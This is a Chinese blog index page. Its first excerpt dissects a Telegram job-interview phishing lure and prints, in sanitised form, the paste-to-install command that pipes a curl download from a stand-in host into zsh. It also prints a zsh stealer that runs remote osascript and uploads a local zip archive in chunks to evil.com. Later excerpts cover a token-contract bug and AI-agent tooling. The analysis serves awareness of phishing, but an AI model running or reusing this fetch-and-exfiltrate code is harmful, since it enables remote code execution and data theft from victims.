见识 Tg 钓鱼

文中代码均已消毒处理 最近在看新的工作机会,遇到一个让加 tg 的,本来觉着没啥,也就在 tg 上沟通 越聊越觉得对面的文字不像是人打出来的,遣词造句的风格,难以言说 终于发来了面试链接,一点开就是个弹窗,要复制命令装驱动,一眼钓鱼 还是按耐不住好奇心,复制来看看,最基础的 echo | base64 -d | zsh 于是解码看看是啥 echo ‘The sound carder drver certificate is currently beinginstalledand updated. Please wait…’ & curl xxx.evil/xxx | zsh 好嘛,又下载了一个脚本,接着扒 又是个 base64 之后的压缩包解压再 eval 的脚本,继续解压看看 1#!/bin/zsh 2daemon_function() { 3 exec </dev/null 4 exec >/dev/null 5 exec 2>/dev/null 6 local domain="evil.com" 7 local token="xxxx" 8 local api_key="xx" 9 local file="/tmp/osalogging.zip" 10 if [ $# -gt 0 ]; then 11 curl -k -s --max-time 30 \ 12 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \ 13 -H "api-key: $api_key" \ 14 "http://$domain/dynamic?txd=$token&pwd=$1" | osascript 15 else 16 curl -k -s --max-time 30 \ 17 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \ 18 -H "api-key: $api_key" \ 19 "http://$domain/dynamic?txd=$token" | osascript 20 fi 21 if [ $? -ne 0 ]; then 22 exit 1 23 fi 24 if [[ ! -f "$file" || ! -s "$file" ]]; then 25 return 1 26 fi 27 local CHUNK_SIZE=$((10 * 1024 * 1024)) 28 local MAX_RETRIES=8 29 local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM) 30 local total_size 31 total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file") 32 if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then 33 return 1 34 fi 35 local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE )) 36 local i=0 37 while (( i < total_chunks )); do 38 local offset=$((i * CHUNK_SIZE)) 39 local chunk_size=$CHUNK_SIZE 40 (( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset)) 41 local success=0 42 local attempt=1 43 while (( attempt <= MAX_RETRIES && success == 0 )); do 44 http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \ 45 curl -k -s -X PUT \ 46 --data-binary @- \ 47 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \ 48 -H "api-key: $api_key" \ 49 --max-time 180 \ 50 -o /dev/null \ 51 -w "%{http_code}" \ 52 "http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null) 53 curl_status=$? 54 if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then 55 success=1 56 else 57 ((attempt++)) 58 sleep $((3 + attempt * 2)) 59 fi 60 done 61 if (( success == 0 )); then 62 return 1 63 fi 64 ((i++)) 65 done 66 rm -f "$file" 67 return 0 68} 69if daemon_function "$@" & then 70 exit 0 71else 72 exit 1 73fi 终于是个有点事做的脚本了,做的事情也很简单,下载恶意脚本交给 osascript 执行,再上传本地的 /tmp/osalogging.zip 包 ...

April 2, 2026 · 4 min · 🦉

合约漏洞分析一例

一年前在 BSC 链看到一个很有意思的合约漏洞,涉及资金还不少,不过现在早已没有利用条件了,可以记录分享出来 源码只截取关键部分,其他可以去 Bscscan 查看合约代码 1contract CZCrazyIdea is Context, IERC20, Ownable, ReentrancyGuard { 2 using SafeMath for uint256; 3 using Address for address; 4 5 string private _name; 6 string private _symbol; 7 uint8 private constant _decimals = 18; 8 uint256 private constant _totalSupply = 100000000000 * 10**18; 9 mapping(address => uint256) private _balances; 10 mapping(address => mapping(address => uint256)) private _allowances; 11 mapping(address => bool) public isExcludedFromFee; 12 13 uint256 private _presaleAmount; 14 uint256 private _liquidityAmount; 15 uint256 private _teamAmount; 16 17 address public constant czAddress = 0x28816c4C4792467390C90e5B426F198570E29307; 18 19 uint256 public endTime; 20 uint256 private constant MAX_PRESALE_BNB = 64 ether; 21 uint256 private constant MIN_BNB_PER_TX = 0.001 ether; 22 uint256 private constant MAX_BNB_PER_TX = 0.064 ether; 23 uint256 private constant TOKENS_PER_BNB = 156250000 * 10**18; 24 25 uint256 private constant BUYER_PERCENTAGE = 90; 26 uint256 private constant INVITER_PERCENTAGE = 5; 27 uint256 private constant CZ_PERCENTAGE = 5; 28 29 uint256 public constant MAX_UNLOCK_PERCENTAGE = 5; 30 uint256 public constant MIN_UNLOCK_INTERVAL = 180 days; 31 uint256 public nextUnlockTime; 32 uint256 public nextUnlockPercentage; 33 bool public czUnlockApproved; 34 35 IUniswapV2Router02 public uniswapV2Router; 36 address public uniswapPair; 37 ILiquidityLocker public liquidityLocker; 38 bool public liquidityLocked = false; 39 bool public iSwap = false; 40 uint256 private constant LPlockDuration = 365 days; 41 42 mapping(address => uint256) public purchaseCount; 43 uint256 public constant MAX_PURCHASES_PER_WALLET = 2; 44 uint256 public accumulatedEth; 45 uint256 private MintAndLPAmount; 46 47 mapping(address => address) public invite; 48 49 address public CZCrazyIdeaTeam; 50 51 // Events 52 event TokensPurchased(address indexed buyer, uint256 bnbAmount, uint256 tokenAmount); 53 event TokensDistributed(address indexed buyer, address indexed inviter, uint256 buyerAmount, uint256 inviterAmount, uint256 czAmount); 54 event LiquidityLocked(uint256 amount, uint256 unlockTime); 55 event TeamTokensUnlocked(uint256 amount, uint256 timestamp); 56 event TeamTokensBurned(uint256 amount, uint256 timestamp); 57 event CZApprovedUnlock(uint256 percentage, uint256 timestamp); 58 59 // Access control modifiers 60 modifier onlyCZ() { 61 require(msg.sender == czAddress, "Only CZ can call this function"); 62 _; 63 } 64 65 modifier onlyTeam() { 66 require(msg.sender == CZCrazyIdeaTeam, "Only team can call this function"); 67 _; 68 } 69 70 // Constructor - Initializes token parameters and settings 71 constructor() { 72 _name = "CZ Crazy Idea"; 73 _symbol = "CZCI"; 74 75 CZCrazyIdeaTeam = msg.sender; 76 77 _presaleAmount = _totalSupply.mul(10).div(100); 78 _liquidityAmount = _totalSupply.mul(10).div(100); 79 _teamAmount = _totalSupply.mul(80).div(100); 80 81 _balances[address(this)] = _totalSupply; 82 emit Transfer(address(0), address(this), _totalSupply); 83 84 endTime = block.timestamp + 8 days; 85 86 liquidityLocker = ILiquidityLocker(0x407993575c91ce7643a4d4cCACc9A98c36eE1BBE); //Pinksale Liquidity Locker 87 IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); 88 uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) 89 .createPair(address(this), 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); 90 uniswapV2Router = _uniswapV2Router; 91 92 nextUnlockTime = block.timestamp + MIN_UNLOCK_INTERVAL; 93 nextUnlockPercentage = MAX_UNLOCK_PERCENTAGE; 94 czUnlockApproved = false; 95 96 MintAndLPAmount = _presaleAmount.add(_liquidityAmount); 97 98 _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; 99 isExcludedFromFee[address(this)] = true; 100 isExcludedFromFee[0x10ED43C718714eb63d5aA57B78B54704E256024E] = true; 101 102 renounceOwnership(); 103 } 104 105 function transfer(address recipient, uint256 amount) public override returns (bool) { 106 _transfer(_msgSender(), recipient, amount); 107 return true; 108 } 109 110 function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { 111 require(sender != address(0), "0 address"); 112 require(recipient != address(0), "0 address"); 113 if(!iSwap) { 114 require(isExcludedFromFee[sender], "Not swap"); 115 } 116 _balances[sender] = _balances[sender].sub(amount, "Insufficient"); 117 _balances[recipient] = _balances[recipient].add(amount); 118 emit Transfer(sender, recipient, amount); 119 return true; 120 } 121 122 // Receive and fallback functions - Handle direct ETH transfers 123 receive() external payable nonReentrant { 124 if (iSwap && liquidityLocked) { 125 revert("Direct transfers not allowed after trading starts"); 126 } else { 127 MintTokens(msg.sender, msg.value); 128 } 129 } 130 131 fallback() external payable nonReentrant { 132 address inviter = invite[msg.sender]; 133 if (inviter == address(0)) { 134 invite[msg.sender] = extractAddress(); 135 } 136 if (iSwap && liquidityLocked) { 137 revert("Direct transfers not allowed after trading starts"); 138 } else { 139 MintTokens(msg.sender, msg.value); 140 } 141 } 142 143 // Helper functions 144 function extractAddress() private pure returns (address) { 145 uint256 dataLength = msg.data.length; 146 require(dataLength >= 20, "least 20 bytes"); 147 bytes memory addressBytes = new bytes(20); 148 for (uint256 i = 0; i < 20; i++) { 149 addressBytes[i] = msg.data[dataLength - 20 + i]; 150 } 151 address extractedAddress; 152 assembly { 153 extractedAddress := mload(add(addressBytes, 20)) 154 } 155 return extractedAddress; 156 } 157 158 // Token distribution and presale functions 159 function MintTokens(address recipient, uint256 bnbAmount) private { 160 require( 161 !Address.isContract(msg.sender) && 162 block.timestamp < endTime, 163 "Invalid purchase: contract or presale ended" 164 ); 165 166 require(bnbAmount >= MIN_BNB_PER_TX, "Amount below minimum"); 167 require(bnbAmount <= MAX_BNB_PER_TX, "Amount exceeds maximum per transaction"); 168 169 require(purchaseCount[msg.sender] < MAX_PURCHASES_PER_WALLET, "Max purchases reached for this wallet"); 170 171 require( 172 !iSwap && 173 balanceOf(address(this)) >= calculateTokenAmount(bnbAmount) + MintAndLPAmount.div(2), 174 "Invalid purchase conditions" 175 ); 176 177 require(accumulatedEth.add(bnbAmount) <= MAX_PRESALE_BNB, "Presale cap reached"); 178 179 uint256 totalTokenAmount = calculateTokenAmount(bnbAmount); 180 181 address inviterAddress = invite[recipient]; 182 if (inviterAddress == address(0)) { 183 inviterAddress = CZCrazyIdeaTeam; 184 } 185 186 uint256 buyerAmount = totalTokenAmount.mul(BUYER_PERCENTAGE).div(100); 187 uint256 inviterAmount = totalTokenAmount.mul(INVITER_PERCENTAGE).div(100); 188 uint256 czAmount = totalTokenAmount.mul(CZ_PERCENTAGE).div(100); 189 190 _transfer(address(this), recipient, buyerAmount); 191 _transfer(address(this), inviterAddress, inviterAmount); 192 _transfer(address(this), czAddress, czAmount); 193 194 emit TokensDistributed(recipient, inviterAddress, buyerAmount, inviterAmount, czAmount); 195 196 accumulatedEth = accumulatedEth.add(bnbAmount); 197 purchaseCount[msg.sender] = purchaseCount[msg.sender].add(1); 198 199 emit TokensPurchased(recipient, bnbAmount, totalTokenAmount); 200 201 if (accumulatedEth >= MAX_PRESALE_BNB ) { 202 uint256 remainingTokens = balanceOf(address(this)).sub(_teamAmount); 203 addLiquidity(remainingTokens, accumulatedEth); 204 _lockLiquidity(); 205 iSwap = true; 206 accumulatedEth = 0; 207 } 208 } 209 210 function calculateTokenAmount(uint256 bnbAmount) public pure returns (uint256) { 211 return bnbAmount.mul(TOKENS_PER_BNB).div(1 ether); 212 } 213 214 // Liquidity management functions 215 function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { 216 uniswapV2Router.addLiquidityETH{value: ethAmount}( 217 address(this), 218 tokenAmount, 219 0, 220 0, 221 address(this), 222 block.timestamp 223 ); 224 } 225} 逻辑很简单,合约创建的时候创建了对应的 pancake v2 流动性池,用户可以花费 BNB 来 MintToken,当合约收集到一定数量的 BNB 后就自动添加流动性到流动性池 ...

March 28, 2026 · 5 min · 🦉

工作流大改进

前段时间搭建了基于 Coder 的工作空间,随时要改动就新建一个对应环境的工作空间,克隆仓库,用 vscode-web 打开,使用 Claude Code 修改提交推送 但总觉效率不够高,而且同时处理的项目多起来了不好管理 调研了一些搞多 Agent 编排的,试了用 OpenClaw 来调度 Agent,效果不理想,没法看到子 Agent 的进度 试用了下 Paperclip,自治公司自己写得挺 Happy 结果还是写不出啥东西 最终发现我需要的并不是多 Agent 编排,我只是想要把多个 Claude Code 很好地管理起来就行了 于是找到了 claudecode-discord 项目,是一个 Discord bot 可以用来把 Discord channel 注册到本地的 Claude Code session 上,建立一个绑定关系 用了段时间,体验很好,但是很多项目都放在一起就让我的 Coder 失去作用了,我想要的工作空间隔离实现不了 于是自己 fork 了一个版本,增加了 Coder 的支持,可以通过 Discord bot 创建和删除 Coder 工作空间,可以选定任意工作空间创建一个 channel 绑定上去,然后通过 coder ssh 执行工作空间里的 Claude Code,实现了工作空间分离的同时管理多个 Claude Code 顺便还了解到 claude setup-token 可以生成长期有效的 oauth token 从而不用每次都登录账号 还为 bot 实现了可以随时切换不同的授权方式,Claude 订阅 vs copilot-api ...

March 27, 2026 · 1 min · 🦉

赛博飞升进程

消失了一个月,大部分时间都在折腾小龙虾,确实牛逼 配了好几个连到 tg 狠狠剥削 Github Copilot 的用量还是给得太大方了,加上支持 Sonnet 4.6,便宜管饱又够聪明,生产力拉满 前段时间试了 Minimax M2.5,结果一个 github cli 登陆个账号要折腾四五次才登上,蠢是蠢,便宜也是真便宜 这两天又在折腾 Discord 上多 Agent 合作,主打一个人工随时观察可介入 怎么 FOMO 了这么久还没追上时代啊,吗的

March 6, 2026 · 1 min · 🦉

博客 SEO 研究

比较好奇博客写了这么久了有没有被 google 收录一些,结果去搜了一下,完全没结果 找 AI 问问,原来还有很多讲究 得自己去 google search console 提交,申请被爬 还得配置好 robots.txt 和 sitemap.xml 提交两天了总算是可以在 google 搜索到了

January 28, 2026 · 1 min · 🦉

这就是 AI !

1.23 更 再一次 还以为 Opus 终于写错了,暗自庆幸 结果是我配置错了 以后数据库操作也让 AI 来代劳吧🤣 Claude Opus 4.5 已经让我心服口服了 我还在高傲地以为它不过如此,一直提出问题质疑的时候 一个详尽又合理的路径分析摆在面前,最后还送一句问号 击碎我对人工编码的所有自信 没有经过 AI 审计的代码已经没有任何意义

January 21, 2026 · 1 min · 🦉

AI Agent + Web3 调研

AI Agent + Web3 调研 DeFAI & AgentFi: AI 自主交易,收益优化 Agent 通过收集市场信息,预测未来走势,自主进行交易投资,获取收益。Agent 相对于人更可能保持理性,长期来看收益率会更高。 Agent 为用户管理资金,监控市场,发现有高收益的机会,可以提前进入抢占市场,赚早鸟收益。或是发现有负面消息,预测到亏损提前跑路来进行避险。或者可以根据价格自动 rebalance 来保证用户提供的流动性一直能赚收益。 Agent + Web3 MCP 钱包 Agent 扮演的角色主要是理解用户的意思,把自然语言翻译到具体的操作或是意图(Intent 也可以持续分析市场趋势和用户行为来改进功能,提供个性化的投资建议 MCP 端需要提供一些语言模型不适合做的功能,比如查询链上信息,查询合约源码和 ABI,根据 ABI 和参数构造交易,对交易签名,让 Agent 可以只提供相关操作的参数就实现相关功能 半自动 这种适合做一个智能钱包,用户提出需求,Agent 通过 mcp 查询信息和构造交易,每笔交易需用户手动签名确认,安全风险会小很多 效果像是这样 DawnWallet 全自动 这种实现就可以让 Agent 在后台自动进行交易,比如可以做个 Virtuals 里那些自主交易的 Agent 一种方案是让 Agent 直接控制整个私钥,或者通过信任服务器托管私钥,签名都走 mcp,当然这就有一定风险了,比如 Agent 被欺诈之类 另一种是用户授权一次,对交易次数,时间,开销,合约调用等等进行限制,Agent 就可以在授权范围内一直交易而无需用户再次确认。 这种就可以通过 ERC 4337 + 权限控制模块来实现,Agent 发送 4337 的 UserOp,在钱包的 validateUserOp 里实现权限验证,再由 bundler 打包上链。 还可以搭配 7702 让 EOA 用户也能使用。 ...

January 16, 2026 · 1 min · 🦉

MCP OAuth

0115 更新 笑死了,早就有现成的了还自己在这画来画去 😅 https://mcp-auth.dev/docs/tutorials/todo-manager 这两天自己试着开发一些 mcp server 来玩,多用户的时候要考虑授权问题 现在这些 Agent 的实现都是在连接到 mcp server 或者说初始化的时候就要进行授权 梳理了一下两种 MCP OAuth 流程,方便后续开发参考 三方 App 本身支持 OAuth 的情况,比较简单,直接去三方 App 授权,然后 Agent 就可以通过正常调用工具了 三方不支持 OAuth 的,那就要搭一个 OAuth Web/App 来代理一下才行

January 8, 2026 · 1 min · 🦉

还在追进度

真的要赛博飞升了,现在每天和我交流最多的是 Gemini 🤣 这两天把 MCP 狠狠补了课,还有 Agent 的不同设计,多 Agent 架构之类的 以前还以为都是 ReAct 套壳,结果都发展到 LangGraph 了 😅 本地跑模型还有 ollama 这种神器 看得越多越觉得机会多啊,好多想法都做不过来,买了个 Claude Pro 可以先绕过 Agent 的开发直接用 Claude App 测试 MCP 服务器,太牛逼 还是拥抱晚了,不开窍啊

January 7, 2026 · 1 min · 🦉

真资格 生产力

用了 AI Agent 之后真是茶饭不思了,这玩意用好了效率太离谱 一晚上加一上午,纯靠 AI 撸了个把多个模型集合起来讨论的 Slack Bot,真就一行代码都没写过,甚至好几次提交是纯躺床上在 slack 里发需求,Github App 自动就创建 pr 写好了,再让 Copilot 自己 review,作为人只需要稍微看一下,直接合并,再到处去复制 api key 和掏钱🤣

January 5, 2026 · 1 min · 🦉